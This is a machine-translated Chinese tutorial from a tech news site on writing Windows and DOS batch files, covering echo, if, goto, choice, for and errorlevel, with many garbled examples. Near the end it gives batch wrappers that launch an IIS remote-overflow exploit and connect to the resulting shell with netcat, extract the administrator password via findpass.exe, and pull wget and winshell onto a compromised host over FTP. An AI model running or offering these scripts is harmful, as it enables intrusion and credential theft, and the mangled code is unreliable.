Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to use bat file

2025-02-23 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >

Share

Shulou(Shulou.com)06/03 Report--

This article mainly shows you "how to use bat files", the content is easy to understand, clear, hope to help you solve your doubts, the following let the editor lead you to study and learn "how to use bat files" this article.

First of all, a batch file is a text file, and each line of this file is a DOS command (most of the time, just like the command line we execute at the DOS prompt), you can use Edit under DOS or Windows's notepad (notepad) and any text file editing tool to create and modify the batch file.

Secondly, a batch file is a simple program, which can control the flow of commands through conditional statements (if) and process control statements (goto), and loop statements (for) can also be used in batch processing to loop a command. Of course, the programming ability of batch files is very limited and irregular compared with C language and other programming statements. The program statements of batch processing are DOS commands (including internal and external commands), and the ability of batch processing mainly depends on the commands you use.

Third, each written batch file is equivalent to an external command of DOS, and you can put its directory in your DOS search path (path) so that it can run anywhere. A good practice is to create a bat or batch directory on your hard drive (for example, C:\ BATCH), and then put all the batch files you write into that directory, so that as long as c:\ batch is set in path, you can run all the batch programs you write anywhere.

Fourth, in DOS and Win9x/Me systems, C: disk root directory of the AUTOEXEC.BAT batch file is automatically run batch file, each system startup will automatically run the file, you can run the system every time you start the command to run into the file, such as setting the search path, call the mouse driver and disk cache, set system environment variables, and so on. The following is an example of autoexec.bat running under Windows 98:

@ ECHO OFF

PATH C:\ WINDOWS;C:\ WINDOWS\ COMMAND;C:\ UCDOS;C:\ DOSTools;C:\ SYSTOOLS;C:\ WINTOOLS;C:\ BATCH

LH SMARTDRV.EXE / X

LH DOSKEY.COM / INSERT

LH CTMOUSE.EXE

SET TEMP=D:\ TEMP

SET TMP=D:\ TEMP

The role of batch processing

To put it simply, the function of batch processing is to execute multiple commands automatically and sequentially.

Let's start with the simplest application: when you start the wps software, you must execute it every time (> the previous content represents the DOS prompt):

C:\ > cd wps

C:\ WPS > spdos

C:\ WPS > py

C:\ WPS > wbx

C:\ WPS > wps

Do you find it troublesome to do this every time before using WPS?

Well, with batch processing, you can simplify these troublesome operations. First, let's write a runwps.bat batch file with the following contents:

@ echo off

C:

Cd\ wps

Spdos

Py

Wbx

Wps

Cd\

In the future, every time we enter wps, we only need to run the batch file runwps.

Common command

Echo, @, call, pause, rem (tip: use:: instead of rem) are the most commonly used commands for batch files, so let's start with them.

Echo indicates the characters after this command is displayed

Echo off means that all commands that run after this statement do not display the command line itself

@ is similar to echo off, but it is added to the front of each command line, indicating that the command line is not displayed at run time (only the current line is affected).

Call calls another batch file (if you call another batch file directly without call, you will not be able to return the current file and execute subsequent commands for the current file after executing that batch file).

Pause running this sentence pauses the execution of the batch and displays "Press any key to continue..." on the screen Or "Please press any key to continue." And wait for the user to press any key before continuing

Rem indicates that the characters after this command are interpretation lines (comments), which are not executed, but are only for future reference (equivalent to comments in the program).

Example 1: edit the a.bat file with edit, enter the following contents and save it to c:\ a.bat. After executing the batch file, you can write all the files in the root directory to a.txt, start UCDOS, enter WPS and other functions.

The contents of the batch file are as follows: command comments:

@ echo off does not display subsequent command line and current command line

Dir c:\ *. * > a.txt writes the list of files on disk c to a.txt

Call c:\ ucdos\ ucdos.bat calls ucdos

Hello, echo. Display "Hello".

Pause pauses and waits for the button to continue

Rem ready to run wps Note: prepare to run wps

Cd ucdos enters the ucdos directory

Wps runs wps

Parameters for batch files

Batch files can also use parameters like C language functions (equivalent to command-line arguments for DOS commands), which requires a parameter representation of "%".

% [1-9] represents a parameter, which is a string separated by a space (or Tab) after the file name when running a batch file. Variables can range from% 0 to% 9jue% 0 to represent the batch command itself, and other parameter strings are represented in the order of% 1 to% 9.

Example 2 C: there is a batch processing file named f.bat in the root directory, which contains:

@ echo off

Format 1

If you execute C:\ > f a:

Then when executing f.bat,% 1 represents a format, so format% 1 is equivalent to format a, so the above command is actually executed at run time:

Example 3 C: the batch processing file under the root directory is named t.bat, which contains:

@ echo off

Type 1

Type 2

Then run C:\ > t a.txt b.txt

% 1: indicates a.txt

% 2: indicates b.txt

So the above command will display the contents of the a.txt and b.txt files sequentially.

Special command

If goto choice for is a more advanced command in batch files, and if you are adept at using these commands, you are an expert in batch files.

First, if is a conditional statement, which is used to determine whether the specified conditions are met, thus deciding to execute different commands. There are three formats:

1. If [not] "Parameter" = = "string" Command to be executed

If the parameter is equal to the specified string (not for inequality, the same below), the condition holds, run the command, otherwise run the next sentence.

Example: if "% 1" = "a" format a:

2. If [not] exist [path\] File name commands to be executed

If there is a specified file, the condition is established, run the command, otherwise run the next sentence.

Such as: if exist c:\ config.sys type c:\ config.sys

Indicates that if a c:\ config.sys file exists, its contents are displayed.

3. Commands to be executed by if errorlevel

Many DOS programs will return a numeric value to represent the result (or status) of the program after running. The return value of the program can be judged by the if errorlevel command, and different commands must be executed according to different return values (the return values must be arranged in the order from largest to smallest). If the return value is equal to the specified number, the condition holds, run the command, otherwise run the next sentence.

Such as if errorlevel 2 goto x2

Second, when the goto batch file runs here, it will jump to the label specified by goto (the label is label, followed by a standard string to define). Goto statements are generally used in conjunction with if to execute different command groups according to different conditions.

Such as:

Goto end

: end

Echo this is the end

The label is defined by ": string", and the line of the label is not executed.

Third, choice uses this command to allow the user to enter a character (for selection), so as to return different errorlevel according to the user's choice, and then cooperate with if errorlevel to run different commands according to the user's choice.

Note: choice commands provide external commands for DOS or Windows systems, different versions of choice command syntax will be slightly different, please use choice /? Check the usage.

Command syntax for choice (this syntax is the syntax for the choice command in Windows 2003, and the command syntax for other versions of choice is more or less the same):

CHOICE [/ C choices] [/ N] [/ CS] [/ T timeout / D choice] [/ M text]

Description:

The tool allows the user to select an item from the selection list and return the index of the selected item.

Parameter list:

/ C choices specifies the list of options to create. The default list is "YN".

/ N hides the list of options in the prompt. Prompt that the previous message is displayed and the option is still enabled.

/ CS allows you to select case-sensitive options. By default, this tool is case-insensitive.

The number of seconds paused before / T timeout makes the default selection. Acceptable values are from 0 to 9999. If 0 is specified, there will be no pause, the default option

You'll get a choice.

/ D choice specifies the default option after nnnn seconds. Characters must be in a set of selections specified with the / C option; at the same time, nnnn must be specified with / T.

/ M text specifies the message to be displayed before the prompt. If not specified, the tool only displays prompts.

/? displays a help message.

Note:

The ERRORLEVEL environment variable is set to the key index selected from the selection set. The first selection listed returns 1, the second selection returns 2, and so on. If the user presses a key that is not a valid selection, the tool issues a warning sound. If the tool detects an error state, it returns an ERRORLEVEL value of 255. If the user presses the Ctrl+Break or Ctrl+C key, the tool returns an ERRORLEVEL value of 0. When the ERRORLEVEL parameter is used in a batch program, the parameters are arranged in descending order.

Example:

CHOICE /?

CHOICE / C YNC / M "press Y for confirmation, N for confirmation, or C for cancellation."

CHOICE / T 10 / C ync / CS / D y

CHOICE / C ab / M "Please select a for option 1 and b for option 2."

CHOICE / C ab / N / M "Please select a for option 1 and b for option 2."

If I run the command: CHOICE / C YNC / M, press Y to confirm, N to confirm, or C to cancel.

The screen displays:

Press Y for confirmation, N for confirmation, or C for cancellation. [Y,N,C]?

Example: the contents of test.bat are as follows (note that when you use if errorlevel to judge the return value, you should arrange the return value from high to low):

@ echo off

Choice / C dme / M "defrag,mem,end"

If errorlevel 3 goto end

If errorlevel 2 goto mem

If errotlevel 1 goto defrag

: defrag

C:\ dos\ defrag

Goto end

: mem

Mem

Goto end

: end

Echo good bye

After this batch is run, "defrag,mem,end [DJM me]?" will be displayed, and the user can select d me, and then the if statement will judge according to the user's choice. D means to execute the program segment labeled defrag, m means to execute the program segment labeled mem, e means to execute the program segment labeled end, and each program segment finally jumps the program to the end label with goto end, and then the program will display good bye. The batch run ends.

Fourth, the for loop command, as long as the conditions are met, it will execute the same command multiple times.

Syntax:

Execute a specific command for each file in a set of files.

FOR% variable IN (set) DO command [command-parameters]

% variable specifies a parameter that can be replaced by a single letter.

(set) specify a file or group of files. You can use wildcards.

Command specifies the commands to be executed on each file.

Command-parameters specifies parameters or command line switches for specific commands.

For example, there is a line in a batch file:

For% c in (* .bat * .txt) do type% c

The command line displays the contents of all files in the current directory with bat and txt extensions.

Batch processing example

1. IF-EXIST

1)

First, use notepad to create a test1.bat batch file in C:\, with the following contents:

@ echo off

IF EXIST\ AUTOEXEC.BAT TYPE\ AUTOEXEC.BAT

IF NOT EXIST\ AUTOEXEC.BAT ECHO\ AUTOEXEC.BAT does not exist

Then run it:

C:\ > TEST1.BAT

If an AUTOEXEC.BAT file exists in C:\, its contents will be displayed, and if it does not exist, the batch will prompt you that the file does not exist.

2)

Then create a test2.bat file with the following contents:

@ ECHO OFF

IF EXIST\ 1 TYPE\% 1

IF NOT EXIST\% 1 ECHO\% 1 does not exist

Execute:

C:\ > TEST2 AUTOEXEC.BAT

The result of running the command is the same as above.

Description:

(1) IF EXIST is used to test the existence of files in the format of

IF EXIST [path + File name] command

(2)% 1 in the test2.bat file is a parameter, and DOS allows you to pass 9 batch parameter information to the batch file, which is% 1% 9 (% 0 represents the test2 command itself), which is a bit like the relationship between arguments and formal parameters in programming.% 1 is a formal parameter and AUTOEXEC.BAT is an actual parameter.

3) further, create a file called TEST3.BAT, which reads as follows:

@ echo off

IF "% 1" = = "A" ECHO XIAO

IF "% 2" = = "B" ECHO TIAN

IF "% 3" = = "C" ECHO XIN

If you run:

C:\ > TEST3 A B C

The screen displays:

XIAO

TIAN

XIN

If you run:

C:\ > TEST3 A B

It will appear on the screen

XIAO

TIAN

During the execution of this command, DOS assigns an empty string to the parameter% 3.

2 、 IF-ERRORLEVEL

Create a TEST4.BAT with the following contents:

@ ECHO OFF

Failed to copy XCOPY C:\ AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO file

IF ERRORLEVEL 0 ECHO successfully copied the file

Then execute the file:

C:\ > TEST4

If the file copy is successful, the screen displays "copy file successfully", otherwise "file copy failed" is displayed.

IF ERRORLEVEL is used to test the return value of its last DOS command, note that it is only the return value of the previous command, and the return value must be judged in order from highest to lowest. So the following batch file is incorrect:

@ ECHO OFF

XCOPY C:\ AUTOEXEC.BAT D:\

IF ERRORLEVEL 0 ECHO successfully copied the file

IF ERRORLEVEL 1 ECHO could not find the copy file

IF ERRORLEVEL 2 ECHO user aborts copy operation through ctrl-c

IF ERRORLEVEL 3 ECHO preset error prevents file copy operation

IF ERRORLEVEL 4 disk write error during ECHO copy

Regardless of whether the copy is successful or not, the following:

Copy file not found

The user aborts the copy operation through ctrl-c

Preset error prevents file copy operation

Write disk error during copy

Will be displayed.

Here are the return values of several commonly used commands and what they represent:

Backup

0 backup successful

1 backup file not found

2 File sharing conflicts prevent backups from being completed

3. Users abort backup with ctrl-c

4 the backup operation was aborted due to a fatal error

Diskcomp

0 disk is the same.

One set is different.

2 the user aborts the comparison operation through ctrl-c

3 the comparison operation is aborted due to a fatal error

4 comparison of preset error abort

Diskcopy

0 disk copy operation succeeded

1 non-fatal disk read / write error

2 the user ends the copy operation through ctrl-c

3 abort the copy of the disk due to a fatal processing error

4 preset error prevents copy operation

Format

0 formatted successfully

3 the user aborts the formatting process through ctrl-c

4 the format was aborted due to a fatal processing error

5 prompting "proceed with format (yzone)?" The next user types n to end.

Xcopy

0 successfully copied the file

1 copy file not found

2 the user aborts the copy operation through ctrl-c

4 preset error prevents file copy operation

5 disk writing error during copy

3. IF STRING1 = = STRING2

Create a TEST5.BAT. The file content is as follows:

@ echo off

IF "% 1" = = "A" formAT A:

Execute:

C:\ > TEST5 A

The content of whether to format the A: disk appears on the screen.

Note: in order to prevent the argument from being empty, it is common to enclose the string in double quotes (or other symbols, note that you cannot use reserved symbols).

For example: if [% 1] = = [A] or if% 1

5 、 GOTO

Create a TEST6.BAT. The file content is as follows:

@ ECHO OFF

IF EXIST C:\ AUTOEXEC.BAT GOTO _ COPY

GOTO _ DONE

: _ COPY

COPY C:\ AUTOEXEC.BAT D:\

: _ DONE

Note:

(1) the colon ":" before the label is the ASCII character. There can be no space between the colon and the label.

(2) the naming rules of labels are the same as those of file names.

(3) DOS supports labeling with a maximum of eight characters. When it is impossible to distinguish between two labels, it will jump to the nearest label.

6 、 FOR

Create C:\ TEST7.BAT. The file content is as follows:

@ ECHO OFF

FOR% C IN (* .BAT * .TXT * .SYS) DO TYPE% C

Run:

C: > TEST7

After execution, the contents of all files under the root directory of C: disk with the extensions of BAT, TXT, and SYS will be displayed (excluding hidden files).

Skills of batch processing BAT files in win2000 command line mode

Article structure

1. Help information for all built-in commands

two。 The concept of environmental variables

3. Built-in special symbols (avoid in the middle of actual use)

4. Simple batch file concept

5. Annex 1 tmp.txt

6. Annex 2 sample.bat

# #

1. Help information for all built-in commands

# #

Ver

Cmd /?

Set /?

Rem /?

If /?

Echo /?

Goto /?

For /?

Shift /?

Call /?

Other common commands that are required

Type /?

Find /?

Findstr /?

Copy /?

Now output all the above help to a file

Echo ver > tmp.txt

Ver > > tmp.txt

Echo cmd /? > tmp.txt

Cmd /? > tmp.txt

Echo rem /? > tmp.txt

Rem /? > tmp.txt

Echo if /? > tmp.txt

If /? > tmp.txt

Echo goto /? > tmp.txt

Goto /? > tmp.txt

Echo for /? > tmp.txt

For /? > tmp.txt

Echo shift /? > tmp.txt

Shift /? > tmp.txt

Echo call /? > tmp.txt

Call /? > tmp.txt

Echo type /? > tmp.txt

Type /? > tmp.txt

Echo find /? > tmp.txt

Find /? > tmp.txt

Echo findstr /? > tmp.txt

Findstr /? > tmp.txt

Echo copy /? > tmp.txt

Copy /? > tmp.txt

Type tmp.txt

# #

two。 The concept of environmental variables

# #

C:\ Program Files > set

ALLUSERSPROFILE=C:\ Documents and Settings\ All Users

CommonProgramFiles=C:\ ProgramFiles\ Common Files

COMPUTERNAME=FIRST

ComSpec=C:\ WINNT\ system32\ cmd.exe

NUMBER_OF_PROCESSORS=1

OS=Windows_NT

Os2LibPath=C:\ WINNT\ system32\ os2\ dll

Path=C:\ WINNT\ system32;C:\ WINNT;C:\ WINNT\ system32\ WBEM

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

PROCESSOR_ARCHITECTURE=x86

PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel

PROCESSOR_LEVEL=6

PROCESSOR_REVISION=0605

ProgramFiles=C:\ ProgramFiles

PROMPT=$P$G

SystemDrive=C:

SystemRoot=C:\ WINNT

TEMP=C:\ WINNT\ TEMP

TMP=C:\ WINNT\ TEMP

USERPROFILE=C:\ Documents and Settings\ Default User

Windir=C:\ WINNT

Path: represents the search path of the executable program. My suggestion is that you copy your program to

% windir%\ system32\. In this catalog. Generally, it can be searched automatically.

Syntax: copy mychenxu.exe% windir%\ system32.

Use point (.) It is easy to see at a glance.

Use (English pattern, half-width) double quotation marks for references to environment variables

% windir% variable

%% windir%% secondary variable reference.

There are other things we often use.

% temp% temporary file directory

% windir% system directory

% errorlevel% exit code

Output the file to the temporary file directory. This makes the current directory neat and tidy.

For parameters with spaces. You should learn to use double quotation marks ("") to indicate, for example, operations on porgram file folders.

C:\ > dir p*

Directory of C:\

2000-09-02 11:47 2164 PDOS.DEF

1999-01-03 00:47 Program Files

1 file 2164 bytes

1 directory 1505997824 available bytes

C:\ > cd pro*

C:\ Program Files >

C:\ >

C:\ > cd "Program Files"

C:\ Program Files >

#

3. Built-in special symbols (avoid in the middle of actual use)

#

The following characters are built into Microsoft that cannot be used in the filename created.

Con nul aux\ / | & & ^ >

< *   You can use most characters as variable values, including white space. If you use the special characters , |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:   (大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)   To create the variable value new&name, type:   set varname=new^&name   To create the variable value "new&name", type:   set varname="new&name"   The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.   find "Pacific Rim" < trade.txt >

Nwtrade.txt

IF EXIST filename. (del filename.) ELSE echo filename. Missing

Create a file

Append to a file

The @ prefix character. Indicates that the line is not displayed in cmd during execution. You can use echo off to turn off the display.

^ pair special symbols (>

< &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb   echo 123456 ^>

Aaa

Echo 1231231 > bbb

() contains commands

(echo aa & echo bb)

, the same default delimiter as spaces.

; comment, indicating that it is followed by a comment

Labeling function

| | Pipeline operation |

& Usage: first command & second command [& third command.]

In this way, multiple commands can be executed at the same time, regardless of whether the command is successful or not

Dir c:\ * .exe & dir d:\ * .exe & dir e:\ * .exe

& & Usage: first command & & second command [& & third command.]

When there is an error in the execution of the command, the following command will not be executed, and if there has been no error, all the commands will be executed.

| | Usage: the first command | | the second command [| | the third command.]

Subsequent commands will not be executed when the correct command is executed, and all commands will be executed all the time if the correct command does not appear.

Common grammatical format

IF [NOT] ERRORLEVEL number command para1 para2

IF [NOT] string1==string2 command para1 para2

IF [NOT] EXIST filename command para1 para2

IF EXIST filename command para1 para2

IF NOT EXIST filename command para1 para2

IF "% 1" = "" goto END

IF "% 1" = = "net" goto NET

IF NOT "% 2" = = "net" goto OTHER

IF ERRORLEVEL 1 command para1 para2

IF NOT ERRORLEVEL 1 command para1 para2

FOR / L% I IN (start,step,end) DO command [command-parameters]% I

FOR / F "eol=; tokens=2,3* delims=," I in (myfile.txt) do echo I j k

Take the parameters in alphabetical order ijklmnopq.

Eol=c-refers to the end of a line comment character (just one)

Skip=n-refers to the number of lines ignored at the beginning of the file.

Delims=xxx-refers to the delimiter set. This replaces the default delimiter set of spaces and tabbed keys.

#

4. Simple batch file concept

#

Echo This is test > a.txt

Type a.txt

Echo This is test 11111 > > a.txt

Type a.txt

Echo This is test 22222 > a.txt

Type a.txt

The second echo is appended.

The third echo will empty the a.txt and recreate the a.txt

Netstat-n | find "3389"

This will list the ip of all users connected to 3389.

_ test.bat_

@ echo please care

Echo plese care 1111

Echo plese care 2222

Echo plese care 3333

@ echo please care

@ echo plese care 1111

@ echo plese care 2222

@ echo plese care 3333

Rem does not display comment statements, this line shows

@ rem does not display comment statements, and this line does not display

If exist% windir%\ system32\ find.exe (echo Find find.exe!!) Else (echo ERROR: Not find find.exe)

If exist% windir%\ system32\ fina.exe (echo Find fina.exe!!) Else (echo ERROR: Not find fina.exe)

_ _

Let's take a specific idahack program that is ida remote overflow as an example. It should be very simple.

_ ida.bat_

@ rem ver 1.0

@ if NOT exist% windir%\ system32\ idahack.exe echo "ERROR: dont find idahack.exe"

@ if NOT exist% windir%\ system32\ nc.exe echo "ERROR: dont find nc.exe"

@ if "% 1" = "" goto USAGE

@ if NOT "% 2" = "" goto SP2

: start

@ echo Now start...

@ ping 1

@ echo chinese win2k:1 sp1:2 sp2:3

Idahack.exe 1 80 1 99 > temp%\ _ tmp

@ echo "prog exit code [% errorlevel%] idahack.exe"

@ type% temp%\ _ tmp

@ find "good luck:)"% temp%\ _ tmp

@ echo "prog exit code [% errorlevel%] find [goog luck]"

@ if NOT errorlevel 1 nc.exe 1 99

@ goto END

: SP2

@ idahack.exe 1 80% 2 99% temp%\ _ tmp

@ type% temp%\ _ tmp

@ find "good luck:)"% temp%\ _ tmp

@ if NOT errorlevel 1 nc.exe 1 99

@ goto END

: USAGE

@ echo Example: ida.bat IP

@ echo Example: ida.bat IP (2Pol 3)

: END

_ ida.bat__END_

Let's move on to the second document. Is to get the password of administrator.

Most people don't know what to say. In fact, their own did not enter the correct information.

_ _ fpass.bat____

@ rem ver 1.0

@ if NOT exist% windir%\ system32\ findpass.exe echo "ERROR: dont find findpass.exe"

@ if NOT exist% windir%\ system32\ pulist.exe echo "ERROR: dont find pulist.exe"

@ echo start....

@ echo _ _

@ if "% 1" = "" goto USAGE

@ findpass.exe 1 2 3 > temp%\ _ findpass.txt

@ echo "prog exit code [% errorlevel%] findpass.exe"

@ type% temp%\ _ findpass.txt

@ echo _ _ Here__pass ★

@ ipconfig / all > >% temp%\ _ findpass.txt

@ goto END

: USAGE

@ pulist.exe >% temp%\ _ pass.txt

@ findstr.exe / I "WINLOGON explorer internat"% temp%\ _ pass.txt

@ echo "Example: fpass.bat 1 2 3 4!!"

@ echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

: END

@ echo "fpass.bat COMPUTERNAME% USERNAME% administrator"

Echo "fpass.bat end [% errorlevel%]!"

_ fpass.bat___END___

Another is that it has logged in to a remote host through telnet. How to upload files (win)

Enter the following things in the window in turn. Of course, you can also copy all. Ctrl + V in the past. And then wait!

Echo open 210.64.x.4 3396 > w

Echo read > > w

Echo read > > w

Echo cd winnt > > w

Echo binary > > w

Echo pwd > > w

Echo get wget.exe > > w

Echo get winshell.exe > > w

Echo get any.exe > > w

Echo quit > > w

Ftp-svuw

The above is all the contents of this article "how to use bat Files". Thank you for reading! I believe we all have a certain understanding, hope to share the content to help you, if you want to learn more knowledge, welcome to follow the industry information channel!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Development

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report